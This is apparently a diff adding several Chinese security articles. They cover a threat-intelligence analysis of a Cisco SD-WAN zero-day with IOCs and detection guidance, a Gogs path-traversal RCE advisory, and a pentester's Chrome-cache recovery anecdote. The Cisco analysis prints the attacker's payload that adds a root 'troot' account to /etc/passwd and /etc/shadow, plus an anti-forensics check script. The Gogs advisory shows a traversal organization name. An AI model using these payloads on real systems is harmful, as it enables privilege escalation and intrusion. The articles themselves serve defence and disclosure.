仍然复用旧连接，可实现身份认证绕过。</span></section></td></tr><tr><td><section><span leaf="">CVE-2026-9080</span></section></td><td><section><span leaf="">多套接字回调生命周期</span></section></td><td><section><span leaf="">在套接字回调函数内调用 curl_easy_pause ()，会导致 libcurl 通过已释放的内部指针执行写入操作，产生释放后重用漏洞。</span></section></td></tr><tr><td><section><span leaf="">CVE-2026-9547</span></section></td><td><section><span leaf="">SSH 主机校验</span></section></td><td><section><span leaf="">使用 libssh 后端时，配置主机密钥回调的 SCP/SFTP 传输会接纳本应被拒绝的服务器密钥类型，存在主机校验不严问题。</span></section></td></tr><tr><td><section><span leaf="">CVE-2026-10536</span></section></td><td><section><span leaf="">HTTP/2 流依赖</span></section></td><td><section><span leaf="">对开启 HTTP/2 依赖项的句柄执行重置再清理操作，会让 libcurl 访问已经释放的内存状态，触发释放后重用漏洞。</span></section></td></tr></tbody></table>
|
||||
|
||||
@@ -0,0 +1,309 @@
|
||||
# 【CVE-2026-20245】Cisco SD-WAN 零日利用分析
|
||||
原创 骨哥说事
|
||||
骨哥说事 骨哥说事 2026-06-26 00:46
|
||||
|
||||
<table><tbody><tr><td data-colwidth="557" width="557" valign="top" style="word-break: break-all;"><h1 data-selectable-paragraph="" style="white-space: normal;outline: 0px;max-width: 100%;font-family: -apple-system, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;"><span leaf="">声明：</span></span></strong></span></span></strong><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><span leaf="">文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。</span></span></span></h1></td></tr></tbody></table>#
|
||||
|
||||
#
|
||||
|
||||
****# 防走失：https://gugesay.com/
|
||||
|
||||
**不想错过任何消息？设置星标****↓ ↓ ↓**
|
||||
#
|
||||
|
||||
|
||||
|
||||
|
||||
### 引言
|
||||
|
||||
2026年初，Mandiant 发现一个威胁行为体在针对一家服务提供商的 SD-WAN 基础设施。在获得初始访问权限后，该威胁行为体利用了 Cisco Catalyst SD-WAN 中的一个零日漏洞（CVE-2026-20245），将其权限从一个已入侵的管理账户提升至 root 级别。
|
||||
|
||||
|
||||
|
||||
|
||||
该漏洞源于设备的文件上传功能未能正确过滤恶意输入。
|
||||
|
||||
在整个入侵过程中，为了保持操作安全性并避免检测，该威胁行为体始终采用反取证技术，有选择地删除和还原了在其活动期间被修改的系统配置文件。
|
||||
### 关键观察
|
||||
- **非法对等连接与凭证操纵**
|
||||
：2026年3月，某个威胁行为体通过未授权的对等连接建立初始访问权限，以方便进行安全外壳协议（SSH）访问。该威胁行为体利用此访问权限操纵默认账户密码以规避检测
|
||||
|
||||
- **利用 CVE-2026-20245**
|
||||
：随后，攻击者利用了 Cisco Catalyst SD-WAN Manager 中的一个零日权限提升漏洞（现被追踪为 CVE-2026-20245），通过上传恶意的 CSV 文件获得 root 级别访问权限
|
||||
|
||||
- **全面的反取证清理**
|
||||
：该威胁行为体删除了恶意文件、还原了配置更改，并执行了一个验证脚本以确保相关痕迹被清除
|
||||
|
||||
### 什么是 SD-WAN？
|
||||
|
||||
传统的广域网（WAN）严重依赖物理的专有硬件路由器来引导流量。这种模式通常缺乏灵活性、扩展复杂，且难以满足现代云计算的需求。
|
||||
|
||||
软件定义广域网（SD-WAN）通过将网络的管理和控制逻辑从底层物理硬件中解耦来解决此问题。它使用一个集中的软件控制器通过一个统一的仪表盘来编排整个网络，而不是逐个配置单个路由器。SD-WAN 通常被高度分散的组织（如银行、零售公司、技术服务商和医疗保健提供商）使用，以安全地将多个远程分支机构直接连接到中央云服务。
|
||||
#### 什么是对等连接 (Peering)？
|
||||
|
||||
在 SD-WAN 架构中，对等连接是建立不同网络组件（如边缘路由器、区域枢纽和中央控制器）之间可信的、经过身份验证的逻辑关系的过程。
|
||||
|
||||
在数据传输发生之前，这些设备必须执行数字握手。在对等连接阶段，设备使用加密证书进行相互身份验证。一旦身份和信任得到验证，它们就会交换底层的路由表并自动构建安全隧道以促进数据安全传输。
|
||||
#### Cisco Catalyst SD-WAN 控制器中的其他漏洞
|
||||
|
||||
CVE-2026-20127 和 CVE-2026-20182 是 Cisco 最近披露的影响 Cisco Catalyst SD-WAN 控制器对等连接身份验证机制的关键漏洞。这两个漏洞都可能允许未经身份验证的远程攻击者绕过身份验证并获得管理权限。
|
||||
### 入侵行动概述
|
||||
#### 初始访问：通过非法对等连接
|
||||
|
||||
从2025年底到2026年1月，Mandiant 观察到受害者的 SD-WAN Manager 设备上存在多个未授权的对等连接。这些连接的发生可能源于对 CVE-2026-20127 或 CVE-2026-20182 的利用，因为在当时这些漏洞尚未披露，也没有可用的补丁。
|
||||
|
||||
自2026年3月起，在一台运行不受 CVE-2026-20127 影响的软件版本的设备上发现了更多未授权的对等连接。然而，Cisco 确认这些连接也未利用 CVE-2026-20182，而是可能使用了此前对同一设备的入侵中窃取的证书材料。
|
||||
|
||||
目前尚不清楚2025年底至2026年1月和2026年3月的非法对等连接活动是否由同一个威胁行为体负责。
|
||||
#### 成功认证：通过修改Admin账户密码
|
||||
|
||||
2026年3月，该威胁行为体在受害者的相同设备上建立了新的非法对等连接，并使用 vmanage-admin
|
||||
账户通过 SSH 成功认证登录到 SD-WAN Manager 设备。
|
||||
|
||||
在通过 SSH 认证后，威胁行为体执行了更改默认 admin
|
||||
账户密码的命令。随后，该威胁行为体直接使用 admin
|
||||
账户认证到 SD-WAN Manager Web 应用程序界面，并外泄了 SD-WAN 架构的配置信息。
|
||||
```
|
||||
[2026-03-07T01:31:48.464Z]"POST /j_security_check HTTP/1.1" 200 - 31 0 1288 - "
|
||||
" "Mozilla/5.0" "
|
||||
" "
|
||||
:8443" "127.0.0.1:8080"
|
||||
[2026-03-07T01:31:49.017Z] "GET /dataservice/system/device/vedges HTTP/1.1" 200 - 0 10114 127 - "
|
||||
" "Mozilla/5.0" "
|
||||
" "
|
||||
:8443" "127.0.0.1:8080"
|
||||
[2026-03-07T01:31:50.017Z] "GET /dataservice/system/device/controllers HTTP/1.1" 200 - 0 15815 100 - "
|
||||
" "Mozilla/5.0" "
|
||||
" "
|
||||
:8443" "127.0.0.1:8080"
|
||||
[2026-03-07T01:31:51.925Z] "GET /dataservice/template/config/attached/
|
||||
HTTP/1.1" 200 - 0 3732 18 - "
|
||||
" "Mozilla/5.0" "
|
||||
" "
|
||||
:8443" "127.0.0.1:8080"
|
||||
[2026-03-07T01:31:52.493Z] "GET /dataservice/template/config/running/
|
||||
HTTP/1.1" 400 - 0 134 19 - "
|
||||
" "Mozilla/5.0" "
|
||||
" "
|
||||
:8443" "127.0.0.1:8080"
|
||||
<...>
|
||||
```
|
||||
|
||||
图1：威胁行为体认证与配置提取
|
||||
|
||||
随后，该威胁行为体利用其活动的 vmanage-admin
|
||||
会话将 admin
|
||||
账户的密码改回原始状态，然后终止了其活动会话。此行为很可能是为了降低在日常操作期间有管理员尝试登录设备时被发现的概率。
|
||||
|
||||
vmanage-admin
|
||||
和 admin
|
||||
账户是 Cisco Catalyst SD-WAN 控制器上的默认账户，拥有不同的权限，但 两者都不具备 root shell 访问权限。
|
||||
#### 利用 CVE-2026-20245 进行权限提升
|
||||
|
||||
在使用 admin
|
||||
账户建立 SSH 会话后，威胁行为体通过执行以下命令来上传一个名为 evil_tenant.csv
|
||||
的文件，从而利用了 CVE-2026-20245：
|
||||
```
|
||||
request tenant-upload tenant-list /home/admin/evil_tenant.csv vpn 0
|
||||
```
|
||||
|
||||
图2：恶意文件上传
|
||||
|
||||
CVE-2026-20245，一个由 Mandiant 报告给 Cisco 的漏洞，存在于 Cisco Catalyst SD-WAN 控制器的命令行界面（CLI）中，可能允许经过身份验证的本地攻击者通过向受影响系统提供特制文件来以 root 权限执行任意命令。
|
||||
|
||||
evil_tenant.csv
|
||||
文件中包含了利用载荷。下面的代码块（图3）展示了利用载荷的一个片段，该片段试图将恶意条目追加到系统的 /etc/passwd
|
||||
和 /etc/shadow
|
||||
文件中。
|
||||
```
|
||||
if [ -e /usr/share/viptela/vbond_vsmart_tenant_list ] && grep -q '
|
||||
' /usr/share/viptela/vbond_vsmart_tenant_list 2>/dev/null; then
|
||||
echo absent > /home/admin/.orig_vbond_vsmart_tenant_list.state;
|
||||
elif [ -e /usr/share/viptela/vbond_vsmart_tenant_list ]; then
|
||||
echo present > /home/admin/.orig_vbond_vsmart_tenant_list.state;
|
||||
cp -a /usr/share/viptela/vbond_vsmart_tenant_list /home/admin/.orig_vbond_vsmart_tenant_list;
|
||||
else
|
||||
echo absent > /home/admin/.orig_vbond_vsmart_tenant_list.state;
|
||||
fi;
|
||||
cp -a /etc/passwd /home/admin/.orig_passwd;
|
||||
cp -a /etc/shadow /home/admin/.orig_shadow;
|
||||
grep -q '^troot:' /etc/passwd || echo 'troot:x:0:0:root:/root:/bin/bash' >> /etc/passwd;
|
||||
grep -q '^troot:' /etc/shadow || echo 'troot:
|
||||
:19000:0:99999:7:::' >> /etc/shadow
|
||||
```
|
||||
|
||||
|
||||
图3：追加恶意条目
|
||||
|
||||
通过此命令，威胁行为体实现了以下目标：
|
||||
- 备份了原始的 vbond_vsmart_tenant_list
|
||||
配置文件。该文件在利用过程中将被 evil_tenant.csv
|
||||
的内容覆盖。此备份可能是为了允许攻击者稍后恢复文件，确保 SD-WAN Manager 设备不会加载可能引起管理员警觉的无效配置。
|
||||
|
||||
- 创建了原始 /etc/passwd
|
||||
和 /etc/shadow
|
||||
文件的备份。
|
||||
|
||||
- 创建了一个名为 troot
|
||||
、拥有完整 root 权限的用户账户。
|
||||
|
||||
随后，Mandiant 观察到该威胁行为体通过 su
|
||||
（切换用户）命令从 admin
|
||||
账户访问了这个新的 troot
|
||||
账户。
|
||||
#### 反取证技术
|
||||
|
||||
Mandiant 发现该威胁行为体删除了他们创建的所有文件，包括 evil_tenant.csv
|
||||
，并还原了他们修改的任何系统配置。这些删除和修改操作是为了最小化其在取证中留下的痕迹。
|
||||
|
||||
此外，Mandiant 还观察到一个验证脚本的执行，该脚本用于检查是否清除了威胁行为体活动的痕迹。
|
||||
```
|
||||
for f in /home/admin/evil_tenant.csv /home/admin/.orig_vbond_vsmart_tenant_list /home/admin/.orig_vbond_vsmart_tenant_list.state /home/admin/.orig_passwd /home/admin/.orig_shadow;
|
||||
do if [ -e "$f" ];
|
||||
then echo PRESENT:$f; ls -ld "$f";
|
||||
else echo ABSENT:$f;
|
||||
fi;
|
||||
done;
|
||||
if grep -q '^troot:' /etc/passwd;
|
||||
then echo PRESENT:/etc/passwd:troot;
|
||||
else echo ABSENT:/etc/passwd:troot;
|
||||
fi;
|
||||
```
|
||||
|
||||
```
|
||||
if [ -e /usr/share/viptela/vbond_vsmart_tenant_list ];
|
||||
then echo PRESENT:/usr/share/viptela/vbond_vsmart_tenant_list; ls -ld /usr/share/viptela/vbond_vsmart_tenant_list;
|
||||
else echo ABSENT:/usr/share/viptela/vbond_vsmart_tenant_list;
|
||||
fi
|
||||
```
|
||||
|
||||
图4：验证脚本
|
||||
|
||||
此脚本检查以下项目是否存在：
|
||||
- /home/admin
|
||||
目录下的威胁行为体创建的文件。
|
||||
|
||||
- /etc/passwd
|
||||
和 /etc/shadow
|
||||
文件中的 troot
|
||||
账户。
|
||||
|
||||
- vbond_vsmart_tenant_list
|
||||
文件，如果存在，则检查该文件的信息。这很可能是为了检查原始文件是否已还原。
|
||||
|
||||
### 态势展望与影响
|
||||
|
||||
本次攻击行动突显了“存活于边缘”(living off the edge) 的范式，即威胁行为体优先入侵网络设备，以绕过传统的安全边界。随着组织越来越多地采用软件定义网络，管理这些环境的编排器成为首要目标。这些设备为威胁行为体提供了“黑盒”环境：它们通常缺乏深度取证分析所需的遥测数据，而其作为中央控制器的角色则为持久、大规模地访问企业内部流量提供了一个隐蔽的平台。对于国家支持的行动者而言，利用这些平台中的零日漏洞仍然是进行长期战略性情报收集的一个主要途径。Google Threat Intelligence Group (GTIG) 在 过去几年持续、密切关注 并 报告了 边缘设备零日利用的增加。
|
||||
### 修复与加固措施
|
||||
- **执行 IOC 扫描/威胁狩猎**
|
||||
：通过在所有的控制平面组件上执行 request admin-tech
|
||||
命令，收集 SD-WAN 设备的日志和诊断数据。扫描这些收集的数据以查找已知的入侵指标（IOC），并根据本文“检测与狩猎”章节确定的战术、技术和程序（TTPs）执行威胁狩猎。如果观察到真实阳性结果，请进行全面调查。
|
||||
|
||||
- **获取手动修复支持**
|
||||
：根据 Cisco 的指导，任何已确认的入侵指标或可疑活动都应发送给 Cisco 技术支持中心（TAC），以便进行全面审查和修复协助。
|
||||
|
||||
- **优先进行即时修补和升级**
|
||||
：组织必须优先将 Cisco Catalyst SD-WAN Manager 升级到已修复的软件版本，特别是版本 20.9.9.2、20.12.7.2、20.15.4.5、20.15.5.3、20.18.3.1、26.1.1.2 或更高版本，以修复 CVE-2026-20245。
|
||||
|
||||
- **实施 Cisco Catalyst SD-WAN 加固与日志记录指南**
|
||||
：组织应遵循 Cisco Catalyst SD-WAN 加固指南 中详细阐述的全面安全最佳实践和配置标准。该指南为保护所有 SD-WAN 组件（包括管理平面、控制平面和数据平面）免受未授权访问提供了强大的纵深防御框架。
|
||||
|
||||
### 入侵指标（IOC）
|
||||
|
||||
为协助更广泛的社区进行本文所述的威胁狩猎和识别活动，我们在免费的 GTI Collection 中为注册用户提供了入侵指标（IOCs）。
|
||||
#### 网络指标
|
||||
|
||||
<table><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">描述</span></section></th><th style="border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">指标</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">作为非法设备连接并利用 CVE-2026-20245 的 IP 地址</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">126.51.108[.]152</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">作为非法设备连接的 IP 地址</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">76.92.245[.]217</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">作为非法设备连接的 IP 地址</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">207.190.37[.]94</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">作为非法设备连接的 IP 地址</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">23.245.7[.]178</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">作为非法设备连接的 IP 地址</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">153.186.231[.]233</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">作为非法设备连接的 IP 地址</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">167.179.79[.]189</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">作为非法设备连接的 IP 地址</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">45.32.38[.]160</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">作为非法设备连接的 IP 地址</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">209.137.225[.]101</span></code></td></tr></tbody></table>
|
||||
#### 文件指标
|
||||
|
||||
由于威胁行为体进行了全面的反取证清理，与此入侵相关的几个文件被覆盖或删除。不过，恶意 CSV 载荷的取证残留被恢复。
|
||||
|
||||
<table><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">文件名</span></section></th><th style="border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">描述</span></section></th><th style="border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">SHA256</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">/home/admin/.orig_vbond_vsmart_tenant_list</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">备份配置文件</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">未恢复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">/home/admin/.orig_vbond_vsmart_tenant_list.state</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">状态文件</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">未恢复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">/home/admin/.orig_passwd</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">备份密码文件</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">未恢复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">/home/admin/.orig_shadow</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">备份密码文件</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">未恢复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">/home/admin/evil_tenant.csv</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><section><span leaf="">利用 CVE-2026-20245 的恶意 CSV 文件残留</span></section></td><td style="border: 1px solid #ccc;padding: 5px 10px;font-size: 14px;min-width: 85px;text-align: left;"><code><span leaf="">b82936f37648518425c7d3cf9e09eaffa41d7cdb3840f6a40287e3a108880f7b</span></code></td></tr></tbody></table>
|
||||
### 检测与狩猎
|
||||
|
||||
Mandiant 鼓励组织围绕本报告中概述的战术、技术和程序（TTPs）开展积极的威胁狩猎，以识别可能混入常规操作的其他活动。由于某些入侵指标可能与合法的管理操作相似，因此根据已建立的网络态势评估这些观察结果以最小化误报至关重要。
|
||||
|
||||
根据 Cisco 的指导，任何可疑活动或已确认的入侵指标都应发送给 Cisco TAC 进行全面审查和协助。
|
||||
#### 使用 vmanage-admin 身份的非法 SSH 连接
|
||||
|
||||
监控身份验证日志（/var/log/auth.log
|
||||
），查找来自意外的外部 IP 地址、使用 vmanage-admin
|
||||
用户账户的登录记录。
|
||||
```
|
||||
Jan 01 07:58:00 vManage sshd[20766]: Accepted publickey for vmanage-admin from
|
||||
port 48373 ssh2: RSA SHA256:
|
||||
Jan 01 08:01:00 vManage sshd[25178]: Accepted keyboard-interactive/pam for admin from
|
||||
port 60552 ssh2
|
||||
```
|
||||
|
||||
图5：来自意外来源的 SSH
|
||||
#### 可疑的密码更改事件
|
||||
|
||||
审计 /var/log/auth.log
|
||||
中针对 admin
|
||||
账户在短时间内发生的密码更改，尤其是涉及密码被设置后又恢复原状的情况。
|
||||
```
|
||||
Jan 01 08:00:00 vManage usermod[12345]: change user 'admin' passwordJan 01 08:15:00 vManage usermod[12345]: change user 'admin' password</code>
|
||||
```
|
||||
|
||||
图6：密码更改
|
||||
|
||||
防御者还应检查 /var/confd/rollback/
|
||||
目录中针对用户密码的配置差异回滚文件：
|
||||
```
|
||||
# Created by: vmanage-admin
|
||||
# Date: 2026-01-01 08:00:00
|
||||
# Via: netconf
|
||||
# Type: delta
|
||||
# Label:
|
||||
# Comment:
|
||||
# No: 10000
|
||||
# TransactionId: 12345678
|
||||
# Hostname: vManage
|
||||
system {
|
||||
aaa {
|
||||
user admin {
|
||||
password
|
||||
;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
图7：回滚文件
|
||||
#### 可疑的 su 命令执行
|
||||
|
||||
审计终端命令历史记录和系统日志（/var/log/auth.log
|
||||
），查找从 admin
|
||||
账户切换到未授权账户（例如 troot
|
||||
）的成功切换用户（su
|
||||
）执行记录。
|
||||
```
|
||||
Jan 01 08:03:00 vManage su[24289]: Successful su for troot by admin</code>
|
||||
```
|
||||
|
||||
图8：su
|
||||
登录
|
||||
#### CVE-2026-20245 的利用
|
||||
|
||||
监控脚本日志（/var/log/scripts.log
|
||||
），查找涉及未授权执行 vconfd_script_upload_tenant_list.sh
|
||||
的执行异常。
|
||||
```
|
||||
Jan 01 08:01:05 vManage vScript: Tenant list upload per vsmart serial number: /usr/bin/vconfd_script_upload_tenant_list.sh -cli path /home/admin/evil_tenant.csv vpn 0Jan 01 08:01:05 vManage vScript: uploading tenant list via VPN 0 trueJan 01 08:01:05 vManage vScript: Copying ... /home/admin/evil_tenant.csv via VPN 0Jan 01 08:01:05 vManage vScript: Successfully loaded the tenant placement file</code>
|
||||
```
|
||||
|
||||
图9：执行异常
|
||||
|
||||
防御者还可以使用 Viptela CLI 中的 show history
|
||||
命令查询特定的管理上传命令的活跃命令执行历史：
|
||||
```
|
||||
01-01 08:01:05 -- request tenant-upload tenant-list /home/admin/evil_tenant.csv vpn 0</code>
|
||||
```
|
||||
|
||||
图10：命令执行
|
||||
|
||||
- END -
|
||||
|
||||
**感谢阅读，如果觉得还不错的话，动动手指给个三连吧～**
|
||||
|
||||
@@ -0,0 +1,118 @@
|
||||
# 【已复现】Gogs 组织名称路径遍历导致 Git hooks 远程代码执行漏洞（CVE-2026-52813）
|
||||
HACK之道 2026-06-26 00:31
|
||||
|
||||
|
||||
|
||||
|
||||
Gogs (Go Git Service) 是一款基于 Go 语言开发的开源 Git 托管平台，采用 MIT 许可证，提供代码托管、Issue 跟踪、权限管理和 Webhook 等功能。
|
||||
|
||||
|
||||
2026年6月25日，长亭安全应急响应中心监测到互联网公开披露了 Gogs 严重漏洞 CVE-2026-52813。该漏洞源于组织名未过滤路径穿越序列，攻击者仅需注册一个普通账号，即可将恶意 Git hook 写入服务器任意目录并触发，实现
|
||||
执行任意命令（RCE）。CVSS 3.1 评分满分
|
||||
10.0
|
||||
，PoC 脚本已公开发布。建议部署 Gogs < 0.14.3 的用户立即升级至 0.14.3。
|
||||
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
|
||||
Description
|
||||
|
||||
|
||||
|
||||
|
||||
**0****1**
|
||||
|
||||
**漏洞成因**
|
||||
|
||||
漏洞根因位于 internal/database/org.go
|
||||
，在创建组织时直接使用用户输入的组织名拼接路径，未做任何规范化或穿越序列过滤：
|
||||
```
|
||||
// internal/database/org.go:165
|
||||
os.MkdirAll(repox.UserPath(org.Name))
|
||||
```
|
||||
```
|
||||
repox.UserPath()
|
||||
|
||||
```
|
||||
```
|
||||
输入名称：../../../../data/gogs/data/tmp/local-r/1/nested
|
||||
实际路径：/data/gogs/repositories/../../../../data/gogs/data/tmp/local-r/1/nested
|
||||
→ /data/gogs/data/tmp/local-r/1/nested
|
||||
```
|
||||
```
|
||||
|
||||
hooks/update
|
||||
```
|
||||
|
||||
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
攻击者可在服务器上执行任意系统命令，可能导致服务器被完全控制、数据泄露或业务系统沦陷。
|
||||
|
||||
|
||||
**处置优先级：高**
|
||||
|
||||
漏洞类型：
|
||||
命令注入
|
||||
|
||||
**漏洞危害等级：**
|
||||
高
|
||||
|
||||
**触发方式：**
|
||||
网络远程
|
||||
|
||||
**权限认证要求：**
|
||||
需要权限
|
||||
|
||||
**系统配置要求：**
|
||||
默认配置
|
||||
|
||||
**用户交互要求：**
|
||||
无需用户交互
|
||||
|
||||
**利用成熟度：**
|
||||
POC/EXP 已公开
|
||||
|
||||
**修复复杂度：**
|
||||
低，
|
||||
官方已提供修复方案
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**影响版本**
|
||||
|
||||
|
||||
Affects
|
||||
|
||||
|
||||
|
||||
|
||||
**02**
|
||||
```
|
||||
```
|
||||
|
||||
**解决方案**
|
||||
|
||||
|
||||
Solution
|
||||
|
||||
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
## 升级修复方案
|
||||
|
||||
|
||||
##
|
||||
|
||||
## 升级 Gogs 至 0.14.3 或更高版本。二进制部署可从官方 Releases 下载对应平台版本，Docker 部署可使用 gogs/gogs:0.14.3 镜像并重启服务
|
||||
|
||||
|
||||
## 临时缓解方案禁用用户注册功能，在 Gogs 的配置文件 app.ini 中关闭用户注册功能，防止攻击者通过注册恶意账户进行利用：[auth]DISABLE_REGISTRATION = true生效方式：修改后需重启 Gogs 服务。漏洞复现Reproduction 04
|
||||
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
# 上个厕所的功夫，漏洞修了？
|
||||
原创 ChinaRan404
|
||||
ChinaRan404 知攻善防实验室 2026-06-26 00:39
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
前言
|
||||
|
||||
|
||||
|
||||
|
||||
起因是在队友在 web 打点，发现了敏感信息，涉及到内网拓扑的，正好我有 shell，就不用摸黑打了。
|
||||
|
||||
快快快，发给我！
|
||||
|
||||
然后捏，起来上了个厕所，刷新一下，洞修了.........
|
||||
|
||||
就是这么快。
|
||||
|
||||
然后一想，兄弟，断网！找缓存！
|
||||
|
||||
Chrome 有 Cache 缓存机制，想在缓存中恢复网页还是有可能的。
|
||||
|
||||
先确定思路
|
||||
|
||||
```
|
||||
Windows 的 Chrome 的 cache 路径
|
||||
C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\Cache
|
||||
```
|
||||
|
||||
```
|
||||
MacOS 的 Chrome 的 cache 路径
|
||||
~/Library/Caches/Google/Chrome/Default/Cache
|
||||
```
|
||||
|
||||
cache data 数据如下
|
||||
|
||||
|
||||
|
||||
Chrome 缓存内部结构：
|
||||
|
||||
data_0 —— 条目索引（存 URL 和"内容在哪儿"的指针）
|
||||
|
||||
data_1 —— 256B 块（HTTP 响应头 + 小文件）
|
||||
|
||||
data_2 —— 1024B 块（中等文件）
|
||||
|
||||
data_3 —— 4096B 块（大文件：HTML 页面、大图片等）
|
||||
|
||||
然后AI 启动！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
运气好的话还是有机会的，脚本就不留了，自己 AI 一下秒出了。
|
||||
|
||||
有些情况是恢复不了的
|
||||
```
|
||||
1.响应头带了 Cache-Control: no-cache / no-store
|
||||
2.浏览器磁盘空间不足被淘汰了
|
||||
3.无痕模式访问
|
||||
```
|
||||
|
||||
|
||||
|
||||
Think环节
|
||||
|
||||
|
||||
|
||||
|
||||
能不能利用在后渗透环节上一键收集敏感信息呢？
|
||||
|
||||
|
||||
|
||||
广告时间
|
||||
|
||||
|
||||
|
||||
|
||||
中级研判-高级研判（只要中高级）
|
||||
|
||||
月付20k-30k区间
|
